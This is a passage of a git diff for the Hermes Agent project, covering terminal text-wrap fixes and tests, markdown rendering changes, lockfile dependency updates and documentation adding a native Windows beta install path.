originalHasWhitespace = charIndex < originalPlain.length && /\s/.test(originalPlain[charIndex]!) - - // Only skip if original has whitespace but line doesn't - if (originalHasWhitespace && !lineStartsWithWhitespace) { - while (charIndex < originalPlain.length && /\s/.test(originalPlain[charIndex]!)) { - charIndex++ - } - } - } - let styledLine = '' let runStart = 0 let runSegmentIndex = charToSegment[charIndex] ?? 0 @@ -333,26 +316,10 @@ function applyStylesToWrappedText( // split lines. if (charIndex < originalPlain.length && originalPlain[charIndex] === '\n') { charIndex++ - } - - // In trim mode, skip whitespace that was replaced by newline when wrapping. - // We skip whitespace in the original until we reach a character that matches - // the first character of the next line. This handles cases like: - // - "AB \tD" wrapped to "AB\n\tD" - skip spaces until we hit the tab - // In non-trim mode, whitespace is preserved so no skipping is needed. - if (trimEnabled && lineIdx < lines.length - 1) { - const nextLine = lines[lineIdx + 1]! - const nextLineFirstChar = nextLine.length > 0 ? nextLine[0] : null - - // Skip whitespace until we hit a char that matches the next line's first char - while (charIndex < originalPlain.length && /\s/.test(originalPlain[charIndex]!)) { - // Stop if we found the character that starts the next line - if (nextLineFirstChar !== null && originalPlain[charIndex] === nextLineFirstChar) { - break - } - - charIndex++ - } + } else if (trimEnabled && lineIdx < lines.length - 1 && /\s/.test(originalPlain[charIndex] ?? '')) { + // wrap-trim removes exactly one whitespace character at each soft-wrap boundary. + // Keep the style map aligned without eating preserved indentation/spaces. + charIndex++ } } diff --git a/ui-tui/packages/hermes-ink/src/ink/wrap-text.test.ts b/ui-tui/packages/hermes-ink/src/ink/wrap-text.test.ts new file mode 100644 index 00000000000..8ccc31d9c96 --- /dev/null +++ b/ui-tui/packages/hermes-ink/src/ink/wrap-text.test.ts @@ -0,0 +1,17 @@ +import { describe, expect, it } from 'vitest' + +import wrapText from './wrap-text.js' + +describe('wrapText wrap-trim', () => { + it('removes a single soft-wrap boundary space', () => { + expect(wrapText('Let me', 5, 'wrap-trim')).toBe('Let\nme') + }) + + it('preserves extra original spacing at soft-wrap boundaries', () => { + expect(wrapText('foo bar', 5, 'wrap-trim')).toBe('foo \nbar') + }) + + it('preserves leading whitespace on unwrapped source lines', () => { + expect(wrapText(' indented', 20, 'wrap-trim')).toBe(' indented') + }) +}) diff --git a/ui-tui/packages/hermes-ink/src/ink/wrap-text.ts b/ui-tui/packages/hermes-ink/src/ink/wrap-text.ts index dcc897b34f8..72574fa90c0 100644 --- a/ui-tui/packages/hermes-ink/src/ink/wrap-text.ts +++ b/ui-tui/packages/hermes-ink/src/ink/wrap-text.ts @@ -77,6 +77,32 @@ function truncate(text: string, columns: number, position: 'start' | 'middle' | return sliceFit(text, 0, columns - 1) + ELLIPSIS } +function trimSoftWrapBoundaries(text: string, maxWidth: number): string { + return text + .split('\n') + .map(line => { + const pieces = wrapAnsi(line, maxWidth, { trim: false, hard: true }).split('\n') + + if (pieces.length === 1) { + return pieces[0]! + } + + for (let index = 0; index < pieces.length - 1; index++) { + const current = pieces[index]! + const next = pieces[index + 1]! + + if (/\s$/.test(current)) { + pieces[index] = current.replace(/\s$/, '') + } else if (/^\s/.test(next)) { + pieces[index + 1] = next.replace(/^\s/, '') + } + } + + return pieces.join('\n') + }) + .join('\n') +} + function computeWrap(text: string, maxWidth: number, wrapType: Styles['textWrap']): string { if (wrapType === 'wrap') { return wrapAnsi(text, maxWidth, { trim: false, hard: true }) @@ -87,7 +113,7 @@ function computeWrap(text: string, maxWidth: number, wrapType: Styles['textWrap' } if (wrapType === 'wrap-trim') { - return wrapAnsi(text, maxWidth, { trim: true, hard: true }) + return trimSoftWrapBoundaries(text, maxWidth) } if (wrapType!.startsWith('truncate')) { diff --git a/ui-tui/src/__tests__/createSlashHandler.test.ts b/ui-tui/src/__tests__/createSlashHandler.test.ts index 64aa83274a9..30263205c0d 100644 --- a/ui-tui/src/__tests__/createSlashHandler.test.ts +++ b/ui-tui/src/__tests__/createSlashHandler.test.ts @@ -26,6 +26,14 @@ describe('createSlashHandler', () => { expect(ctx.transcript.sys).toHaveBeenCalledWith('ui redrawn') }) + it('exits locally for /quit', () => { + const ctx = buildCtx() + + expect(createSlashHandler(ctx)('/quit')).toBe(true) + expect(ctx.session.die).toHaveBeenCalledTimes(1) + expect(ctx.gateway.gw.request).not.toHaveBeenCalled() + }) + it('routes /status to live session.status instead of slash worker', async () => { patchUiState({ sid: 'sid-abc' }) const rpc = vi.fn(() => Promise.resolve({ output: 'Hermes TUI Status' })) diff --git a/ui-tui/src/__tests__/markdown.test.ts b/ui-tui/src/__tests__/markdown.test.ts index a415668f461..30706f6b09d 100644 --- a/ui-tui/src/__tests__/markdown.test.ts +++ b/ui-tui/src/__tests__/markdown.test.ts @@ -1,8 +1,47 @@ +import { PassThrough } from 'stream' + +import { Box, renderSync } from '@hermes/ink' +import React from 'react' import { describe, expect, it } from 'vitest' -import { AUDIO_DIRECTIVE_RE, INLINE_RE, MEDIA_LINE_RE, stripInlineMarkup } from '../components/markdown.js' +import { AUDIO_DIRECTIVE_RE, INLINE_RE, Md, MEDIA_LINE_RE, stripInlineMarkup } from '../components/markdown.js' +import { stripAnsi } from '../lib/text.js' +import { DEFAULT_THEME } from '../theme.js' const matches = (text: string) => [...text.matchAll(INLINE_RE)].map(m => m[0]) +const BEL = String.fromCharCode(7) +const ESC = String.fromCharCode(27) +const CSI_RE = new RegExp(`${ESC}\\[[0-?]*[ -/]*[@-~]`, 'g') +const OSC_RE = new RegExp(`${ESC}\\][\\s\\S]*?(?:${BEL}|${ESC}\\\\)`, 'g') + +const renderPlain = (node: React.ReactNode) => { + const stdout = new PassThrough() + const stdin = new PassThrough() + const stderr = new PassThrough() + let output = '' + + Object.assign(stdout, { columns: 80, isTTY: false, rows: 24 }) + Object.assign(stdin, { isTTY: false }) + Object.assign(stderr, { isTTY: false }) + stdout.on('data', chunk => { + output += chunk.toString() + }) + + const instance = renderSync(node, { + patchConsole: false, + stderr: stderr as NodeJS.WriteStream, + stdin: stdin as NodeJS.ReadStream, + stdout: stdout as NodeJS.WriteStream + }) + + instance.unmount() + instance.cleanup() + + return output + .replace(OSC_RE, '') + .split('\n') + .map(line => stripAnsi(line).replace(CSI_RE, '').trimEnd()) +} describe('INLINE_RE emphasis', () => { it('matches word-boundary italic/bold', () => { @@ -144,3 +183,37 @@ describe('protocol sentinels', () => { expect(AUDIO_DIRECTIVE_RE.test('audio_as_voice')).toBe(false) }) }) + +describe('Md wrapping', () => { + it('trims spaces from word-wrap continuation lines', () => { + const lines = renderPlain( + React.createElement(Box, { width: 5 }, React.createElement(Md, { t: DEFAULT_THEME, text: 'Let me' })) + ) + + expect(lines).toContain('Let') + expect(lines).toContain('me') + expect(lines).not.toContain(' me') + }) + + it('keeps nested list and quote indentation out of trim-sensitive text', () => { + const lines = renderPlain( + React.createElement( + Box, + { flexDirection: 'column', width: 24 }, + React.createElement(Md, { t: DEFAULT_THEME, text: ' - nested bullet' }), + React.createElement(Md, { t: DEFAULT_THEME, text: '>> nested quote' }) + ) + ) + + expect(lines).toContain(' • nested bullet') + expect(lines).toContain(' │ nested quote') + }) + + it('preserves original inline-code edge spaces', () => { + const lines = renderPlain( + React.createElement(Box, { width: 24 }, React.createElement(Md, { t: DEFAULT_THEME, text: '` hi ` ok' })) + ) + + expect(lines.some(line => line.startsWith(' hi ok'))).toBe(true) + }) +}) diff --git a/ui-tui/src/components/markdown.tsx b/ui-tui/src/components/markdown.tsx index 163768a51c3..d736af144ed 100644 --- a/ui-tui/src/components/markdown.tsx +++ b/ui-tui/src/components/markdown.tsx @@ -323,7 +323,7 @@ function MdInline({ t, text }: { t: Theme; text: string }) { parts.push({text.slice(last)}) } - return {parts.length ? parts : {text}} + return {parts.length ? parts : text} } // Cross-instance parsed-children cache: useMemo's per-instance cache dies @@ -420,7 +420,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (media) { start('paragraph') nodes.push( - + {'▸ '} @@ -594,7 +594,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (heading) { start('heading') nodes.push( - + ) @@ -606,7 +606,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (i + 1 < lines.length && SETEXT_RE.test(lines[i + 1]!)) { start('heading') nodes.push( - + ) @@ -632,7 +632,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (footnote) { start('list') nodes.push( - + [{footnote[1]}] ) @@ -641,7 +641,7 @@ function MdImpl({ compact, t, text }: MdProps) { while (i < lines.length && /^\s{2,}\S/.test(lines[i]!)) { nodes.push( - + @@ -655,7 +655,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (i + 1 < lines.length && DEF_RE.test(lines[i + 1]!)) { start('list') nodes.push( - + {line.trim()} ) @@ -669,7 +669,7 @@ function MdImpl({ compact, t, text }: MdProps) { } nodes.push( - + · @@ -689,14 +689,12 @@ function MdImpl({ compact, t, text }: MdProps) { const marker = task ? (task[1]!.toLowerCase() === 'x' ? '☑' : '☐') : '•' nodes.push( - - - {' '.repeat(indentDepth(bullet[1]!) * 2)} - {marker}{' '} + + + {marker} + - - - + ) i++ @@ -708,14 +706,12 @@ function MdImpl({ compact, t, text }: MdProps) { if (numbered) { start('list') nodes.push( - - - {' '.repeat(indentDepth(numbered[1]!) * 2)} - {numbered[2]}.{' '} + + + {numbered[2]}. + - - - + ) i++ @@ -737,11 +733,11 @@ function MdImpl({ compact, t, text }: MdProps) { nodes.push( {quoteLines.map((ql, qi) => ( - - {' '.repeat(Math.max(0, ql.depth - 1) * 2)} - {'│ '} - - + + + │ + + ))} ) @@ -774,7 +770,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (summary) { start('paragraph') nodes.push( - + ▶ {summary} ) @@ -786,7 +782,7 @@ function MdImpl({ compact, t, text }: MdProps) { if (/^<\/?[^>]+>$/.test(line.trim())) { start('paragraph') nodes.push( - + {line.trim()} ) diff --git a/uv.lock b/uv.lock index ba59f44e625..8654848b98e 100644 --- a/uv.lock +++ b/uv.lock @@ -8,6 +8,10 @@ resolution-markers = [ "python_full_version < '3.12'", ] +[options] +exclude-newer = "2026-05-01T22:46:56.926194148Z" +exclude-newer-span = "P7D" + [[package]] name = "agent-client-protocol" version = "0.9.0" @@ -1950,7 +1954,7 @@ wheels = [ [[package]] name = "hermes-agent" -version = "0.12.0" +version = "0.13.0" source = { editable = "." } dependencies = [ { name = "anthropic" }, @@ -1965,6 +1969,7 @@ dependencies = [ { name = "openai" }, { name = "parallel-web" }, { name = "prompt-toolkit" }, + { name = "psutil" }, { name = "pydantic" }, { name = "pyjwt", extra = ["crypto"] }, { name = "python-dotenv" }, @@ -1972,6 +1977,7 @@ dependencies = [ { name = "requests" }, { name = "rich" }, { name = "tenacity" }, + { name = "tzdata", marker = "sys_platform == 'win32'" }, ] [package.optional-dependencies] @@ -2026,6 +2032,9 @@ bedrock = [ cli = [ { name = "simple-term-menu" }, ] +computer-use = [ + { name = "mcp" }, +] daytona = [ { name = "daytona" }, ] @@ -2109,6 +2118,31 @@ termux = [ { name = "pywinpty", marker = "sys_platform == 'win32'" }, { name = "simple-term-menu" }, ] +termux-all = [ + { name = "agent-client-protocol" }, + { name = "aiohttp" }, + { name = "alibabacloud-dingtalk" }, + { name = "boto3" }, + { name = "dingtalk-stream" }, + { name = "discord-py", extra = ["voice"] }, + { name = "elevenlabs" }, + { name = "fastapi" }, + { name = "google-api-python-client" }, + { name = "google-auth-httplib2" }, + { name = "google-auth-oauthlib" }, + { name = "honcho-ai" }, + { name = "lark-oapi" }, + { name = "mcp" }, + { name = "mistralai" }, + { name = "ptyprocess", marker = "sys_platform != 'win32'" }, + { name = "python-telegram-bot", extra = ["webhooks"] }, + { name = "pywinpty", marker = "sys_platform == 'win32'" }, + { name = "qrcode" }, + { name = "simple-term-menu" }, + { name = "slack-bolt" }, + { name = "slack-sdk" }, + { name = "uvicorn", extra = ["standard"] }, +] tts-premium = [ { name = "elevenlabs" }, ] @@ -2161,6 +2195,7 @@ requires-dist = [ { name = "hermes-agent", extras = ["acp"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["acp"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["bedrock"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["cli"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["cli"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["cron"], marker = "extra == 'all'" }, @@ -2168,31 +2203,43 @@ requires-dist = [ { name = "hermes-agent", extras = ["daytona"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dev"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["dingtalk"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["feishu"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["google"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["google"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["homeassistant"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["honcho"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["honcho"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["matrix"], marker = "sys_platform == 'linux' and extra == 'all'" }, { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["mcp"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["messaging"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["mistral"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["modal"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["pty"], marker = "extra == 'termux'" }, { name = "hermes-agent", extras = ["slack"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["slack"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["sms"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["sms"], marker = "extra == 'termux-all'" }, + { name = "hermes-agent", extras = ["termux"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["tts-premium"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["tts-premium"], marker = "extra == 'termux-all'" }, { name = "hermes-agent", extras = ["vercel"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["voice"], marker = "extra == 'all'" }, { name = "hermes-agent", extras = ["web"], marker = "extra == 'all'" }, + { name = "hermes-agent", extras = ["web"], marker = "extra == 'termux-all'" }, { name = "honcho-ai", marker = "extra == 'honcho'", specifier = ">=2.0.1,<3" }, { name = "httpx", extras = ["socks"], specifier = ">=0.28.1,<1" }, { name = "jinja2", specifier = ">=3.1.5,<4" }, { name = "lark-oapi", marker = "extra == 'feishu'", specifier = ">=1.5.3,<2" }, { name = "markdown", marker = "extra == 'matrix'", specifier = ">=3.6,<4" }, { name = "mautrix", extras = ["encryption"], marker = "extra == 'matrix'", specifier = ">=0.20,<1" }, + { name = "mcp", marker = "extra == 'computer-use'", specifier = ">=1.2.0,<2" }, { name = "mcp", marker = "extra == 'dev'", specifier = ">=1.2.0,<2" }, { name = "mcp", marker = "extra == 'mcp'", specifier = ">=1.2.0,<2" }, { name = "mistralai", marker = "extra == 'mistral'", specifier = ">=2.3.0,<3" }, @@ -2201,6 +2248,7 @@ requires-dist = [ { name = "openai", specifier = ">=2.21.0,<3" }, { name = "parallel-web", specifier = ">=0.4.2,<1" }, { name = "prompt-toolkit", specifier = ">=3.0.52,<4" }, + { name = "psutil", specifier = ">=5.9.0,<8" }, { name = "ptyprocess", marker = "sys_platform != 'win32' and extra == 'pty'", specifier = ">=0.7.0,<1" }, { name = "pydantic", specifier = ">=2.12.5,<3" }, { name = "pyjwt", extras = ["crypto"], specifier = ">=2.12.0,<3" }, @@ -2227,13 +2275,14 @@ requires-dist = [ { name = "tenacity", specifier = ">=9.1.4,<10" }, { name = "tinker", marker = "extra == 'rl'", git = "https://github.com/thinking-machines-lab/tinker.git?rev=30517b667f18a3dfb7ef33fb56cf686d5820ba2b" }, { name = "ty", marker = "extra == 'dev'", specifier = ">=0.0.1a29,<0.0.22" }, + { name = "tzdata", marker = "sys_platform == 'win32'", specifier = ">=2023.3" }, { name = "uvicorn", extras = ["standard"], marker = "extra == 'rl'", specifier = ">=0.24.0,<1" }, { name = "uvicorn", extras = ["standard"], marker = "extra == 'web'", specifier = ">=0.24.0,<1" }, { name = "vercel", marker = "extra == 'vercel'", specifier = ">=0.5.7,<0.6.0" }, { name = "wandb", marker = "extra == 'rl'", specifier = ">=0.15.0,<1" }, { name = "yc-bench", marker = "python_full_version >= '3.12' and extra == 'yc-bench'", git = "https://github.com/collinear-ai/yc-bench.git?rev=bfb0c88062450f46341bd9a5298903fc2e952a5c" }, ] -provides-extras = ["modal", "daytona", "vercel", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "acp", "mistral", "bedrock", "termux", "dingtalk", "feishu", "google", "web", "rl", "yc-bench", "all"] +provides-extras = ["modal", "daytona", "vercel", "dev", "messaging", "cron", "slack", "matrix", "cli", "tts-premium", "voice", "pty", "honcho", "mcp", "homeassistant", "sms", "computer-use", "acp", "mistral", "bedrock", "termux", "termux-all", "dingtalk", "feishu", "google", "web", "rl", "yc-bench", "all"] [[package]] name = "hf-transfer" @@ -4000,6 +4049,34 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/57/bf/2086963c69bdac3d7cff1cc7ff79b8ce5ea0bec6797a017e1be338a46248/protobuf-6.33.5-py3-none-any.whl", hash = "sha256:69915a973dd0f60f31a08b8318b73eab2bd6a392c79184b3612226b0a3f8ec02", size = 170687, upload-time = "2026-01-29T21:51:32.557Z" }, ] +[[package]] +name = "psutil" +version = "7.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/aa/c6/d1ddf4abb55e93cebc4f2ed8b5d6dbad109ecb8d63748dd2b20ab5e57ebe/psutil-7.2.2.tar.gz", hash = "sha256:0746f5f8d406af344fd547f1c8daa5f5c33dbc293bb8d6a16d80b4bb88f59372", size = 493740, upload-time = "2026-01-28T18:14:54.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/51/08/510cbdb69c25a96f4ae523f733cdc963ae654904e8db864c07585ef99875/psutil-7.2.2-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:2edccc433cbfa046b980b0df0171cd25bcaeb3a68fe9022db0979e7aa74a826b", size = 130595, upload-time = "2026-01-28T18:14:57.293Z" }, + { url = "https://files.pythonhosted.org/packages/d6/f5/97baea3fe7a5a9af7436301f85490905379b1c6f2dd51fe3ecf24b4c5fbf/psutil-7.2.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:e78c8603dcd9a04c7364f1a3e670cea95d51ee865e4efb3556a3a63adef958ea", size = 131082, upload-time = "2026-01-28T18:14:59.732Z" }, + { url = "https://files.pythonhosted.org/packages/37/d6/246513fbf9fa174af531f28412297dd05241d97a75911ac8febefa1a53c6/psutil-7.2.2-cp313-cp313t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1a571f2330c966c62aeda00dd24620425d4b0cc86881c89861fbc04549e5dc63", size = 181476, upload-time = "2026-01-28T18:15:01.884Z" }, + { url = "https://files.pythonhosted.org/packages/b8/b5/9182c9af3836cca61696dabe4fd1304e17bc56cb62f17439e1154f225dd3/psutil-7.2.2-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:917e891983ca3c1887b4ef36447b1e0873e70c933afc831c6b6da078ba474312", size = 184062, upload-time = "2026-01-28T18:15:04.436Z" }, + { url = "https://files.pythonhosted.org/packages/16/ba/0756dca669f5a9300d0cbcbfae9a4c30e446dfc7440ffe43ded5724bfd93/psutil-7.2.2-cp313-cp313t-win_amd64.whl", hash = "sha256:ab486563df44c17f5173621c7b198955bd6b613fb87c71c161f827d3fb149a9b", size = 139893, upload-time = "2026-01-28T18:15:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/1c/61/8fa0e26f33623b49949346de05ec1ddaad02ed8ba64af45f40a147dbfa97/psutil-7.2.2-cp313-cp313t-win_arm64.whl", hash = "sha256:ae0aefdd8796a7737eccea863f80f81e468a1e4cf14d926bd9b6f5f2d5f90ca9", size = 135589, upload-time = "2026-01-28T18:15:08.03Z" }, + { url = "https://files.pythonhosted.org/packages/81/69/ef179ab5ca24f32acc1dac0c247fd6a13b501fd5534dbae0e05a1c48b66d/psutil-7.2.2-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:eed63d3b4d62449571547b60578c5b2c4bcccc5387148db46e0c2313dad0ee00", size = 130664, upload-time = "2026-01-28T18:15:09.469Z" }, + { url = "https://files.pythonhosted.org/packages/7b/64/665248b557a236d3fa9efc378d60d95ef56dd0a490c2cd37dafc7660d4a9/psutil-7.2.2-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7b6d09433a10592ce39b13d7be5a54fbac1d1228ed29abc880fb23df7cb694c9", size = 131087, upload-time = "2026-01-28T18:15:11.724Z" }, + { url = "https://files.pythonhosted.org/packages/d5/2e/e6782744700d6759ebce3043dcfa661fb61e2fb752b91cdeae9af12c2178/psutil-7.2.2-cp314-cp314t-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fa4ecf83bcdf6e6c8f4449aff98eefb5d0604bf88cb883d7da3d8d2d909546a", size = 182383, upload-time = "2026-01-28T18:15:13.445Z" }, + { url = "https://files.pythonhosted.org/packages/57/49/0a41cefd10cb7505cdc04dab3eacf24c0c2cb158a998b8c7b1d27ee2c1f5/psutil-7.2.2-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e452c464a02e7dc7822a05d25db4cde564444a67e58539a00f929c51eddda0cf", size = 185210, upload-time = "2026-01-28T18:15:16.002Z" }, + { url = "https://files.pythonhosted.org/packages/dd/2c/ff9bfb544f283ba5f83ba725a3c5fec6d6b10b8f27ac1dc641c473dc390d/psutil-7.2.2-cp314-cp314t-win_amd64.whl", hash = "sha256:c7663d4e37f13e884d13994247449e9f8f574bc4655d509c3b95e9ec9e2b9dc1", size = 141228, upload-time = "2026-01-28T18:15:18.385Z" }, + { url = "https://files.pythonhosted.org/packages/f2/fc/f8d9c31db14fcec13748d373e668bc3bed94d9077dbc17fb0eebc073233c/psutil-7.2.2-cp314-cp314t-win_arm64.whl", hash = "sha256:11fe5a4f613759764e79c65cf11ebdf26e33d6dd34336f8a337aa2996d71c841", size = 136284, upload-time = "2026-01-28T18:15:19.912Z" }, + { url = "https://files.pythonhosted.org/packages/e7/36/5ee6e05c9bd427237b11b3937ad82bb8ad2752d72c6969314590dd0c2f6e/psutil-7.2.2-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:ed0cace939114f62738d808fdcecd4c869222507e266e574799e9c0faa17d486", size = 129090, upload-time = "2026-01-28T18:15:22.168Z" }, + { url = "https://files.pythonhosted.org/packages/80/c4/f5af4c1ca8c1eeb2e92ccca14ce8effdeec651d5ab6053c589b074eda6e1/psutil-7.2.2-cp36-abi3-macosx_11_0_arm64.whl", hash = "sha256:1a7b04c10f32cc88ab39cbf606e117fd74721c831c98a27dc04578deb0c16979", size = 129859, upload-time = "2026-01-28T18:15:23.795Z" }, + { url = "https://files.pythonhosted.org/packages/b5/70/5d8df3b09e25bce090399cf48e452d25c935ab72dad19406c77f4e828045/psutil-7.2.2-cp36-abi3-manylinux2010_x86_64.manylinux_2_12_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:076a2d2f923fd4821644f5ba89f059523da90dc9014e85f8e45a5774ca5bc6f9", size = 155560, upload-time = "2026-01-28T18:15:25.976Z" }, + { url = "https://files.pythonhosted.org/packages/63/65/37648c0c158dc222aba51c089eb3bdfa238e621674dc42d48706e639204f/psutil-7.2.2-cp36-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0726cecd84f9474419d67252add4ac0cd9811b04d61123054b9fb6f57df6e9e", size = 156997, upload-time = "2026-01-28T18:15:27.794Z" }, + { url = "https://files.pythonhosted.org/packages/8e/13/125093eadae863ce03c6ffdbae9929430d116a246ef69866dad94da3bfbc/psutil-7.2.2-cp36-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:fd04ef36b4a6d599bbdb225dd1d3f51e00105f6d48a28f006da7f9822f2606d8", size = 148972, upload-time = "2026-01-28T18:15:29.342Z" }, + { url = "https://files.pythonhosted.org/packages/04/78/0acd37ca84ce3ddffaa92ef0f571e073faa6d8ff1f0559ab1272188ea2be/psutil-7.2.2-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b58fabe35e80b264a4e3bb23e6b96f9e45a3df7fb7eed419ac0e5947c61e47cc", size = 148266, upload-time = "2026-01-28T18:15:31.597Z" }, + { url = "https://files.pythonhosted.org/packages/b4/90/e2159492b5426be0c1fef7acba807a03511f97c5f86b3caeda6ad92351a7/psutil-7.2.2-cp37-abi3-win_amd64.whl", hash = "sha256:eb7e81434c8d223ec4a219b5fc1c47d0417b12be7ea866e24fb5ad6e84b3d988", size = 137737, upload-time = "2026-01-28T18:15:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c7/7bb2e321574b10df20cbde462a94e2b71d05f9bbda251ef27d104668306a/psutil-7.2.2-cp37-abi3-win_arm64.whl", hash = "sha256:8c233660f575a5a89e6d4cb65d9f938126312bca76d8fe087b947b3a1aaac9ee", size = 134617, upload-time = "2026-01-28T18:15:36.514Z" }, +] + [[package]] name = "ptyprocess" version = "0.7.0" diff --git a/website/docs/developer-guide/contributing.md b/website/docs/developer-guide/contributing.md index 8cfa618ad6a..9b2cc9b3037 100644 --- a/website/docs/developer-guide/contributing.md +++ b/website/docs/developer-guide/contributing.md @@ -95,7 +95,17 @@ pytest tests/ -v ## Cross-Platform Compatibility -Hermes officially supports Linux, macOS, and WSL2. Native Windows is **not supported**, but the codebase includes some defensive coding patterns to avoid hard crashes in edge cases. Key rules: +Hermes officially supports **Linux, macOS, WSL2, and native Windows (early beta — via PowerShell install)**. Native Windows uses Git Bash (from [Git for Windows](https://git-scm.com/download/win)) for shell commands. A few features require POSIX kernel primitives and are gated: the dashboard's embedded PTY terminal pane (`/chat` tab) is WSL2-only. The native-Windows path is new and moves fast — if you're doing Windows-heavy dev, expect to hit and fix rough edges. + +When contributing code, keep these rules in mind: + +- **Don't add unguarded `signal.SIGKILL` references.** It's not defined on Windows. Either route through `gateway.status.terminate_pid(pid, force=True)` (the centralized primitive that does `taskkill /T /F` on Windows and SIGKILL on POSIX), or fall back with `getattr(signal, "SIGKILL", signal.SIGTERM)`. +- **Catch `OSError` alongside `ProcessLookupError` on `os.kill(pid, 0)` probes.** Windows raises `OSError` (WinError 87, "parameter is incorrect") for an already-gone PID instead of `ProcessLookupError`. +- **Don't force the terminal to POSIX semantics.** `os.setsid`, `os.killpg`, `os.getpgid`, `os.fork` all raise on Windows — gate them with `if sys.platform != "win32":` or `if os.name != "nt":`. +- **Open files with an explicit `encoding="utf-8"`.** The Python default on Windows is the system locale (often cp1252), which mojibakes or crashes on non-Latin text. +- **Use `pathlib.Path` / `os.path.join` — never manually concat with `/`.** This matters less for strings the OS gives us back and more for strings we construct to hand to subprocesses. + +Key patterns: ### 1. `termios` and `fcntl` are Unix-only diff --git a/website/docs/getting-started/installation.md b/website/docs/getting-started/installation.md index a5e5dd386f9..4edd5b32164 100644 --- a/website/docs/getting-started/installation.md +++ b/website/docs/getting-started/installation.md @@ -1,7 +1,7 @@ --- sidebar_position: 2 title: "Installation" -description: "Install Hermes Agent on Linux, macOS, WSL2, or Android via Termux" +description: "Install Hermes Agent on Linux, macOS, WSL2, native Windows (early beta), or Android via Termux" --- # Installation @@ -25,6 +25,30 @@ Stable desktop builds ship signed/notarized macOS artifacts and Windows installe curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash ``` +### Windows (native, PowerShell) — Early Beta + +:::warning Early BETA +Native Windows support is **early beta**. It installs and works for the common paths, but hasn't been road-tested as broadly as our POSIX installers. Please [file issues](https://github.com/NousResearch/hermes-agent/issues) when you hit rough edges. For the most battle-tested setup on Windows today, use the Linux/macOS one-liner above inside **WSL2** instead. +::: + +Open PowerShell and run: + +```powershell +irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1 | iex +``` + +The installer handles **everything**: `uv`, Python 3.11, Node.js 22, `ripgrep`, `ffmpeg`, **and a portable Git Bash** (MinGit — a slim, self-contained Git for Windows distribution that Hermes uses for shell commands). It clones the repo under `%LOCALAPPDATA%\hermes\hermes-agent`, creates a virtualenv, and adds `hermes` to your **User PATH**. Restart your terminal (or open a new PowerShell window) after the install so PATH picks up. + +**How Git is handled:** +1. If `git` is already on your PATH, the installer uses your existing install. +2. Otherwise it downloads portable **MinGit** (~45MB, from the official `git-for-windows` GitHub release) and unpacks it to `%LOCALAPPDATA%\hermes\git`. No admin rights required. Completely isolated — it won't interfere with any system Git install, broken or otherwise. + +**Why not use winget?** Earlier designs auto-installed Git via `winget install Git.Git`, but winget fails badly when a system Git install is in a partial or broken state 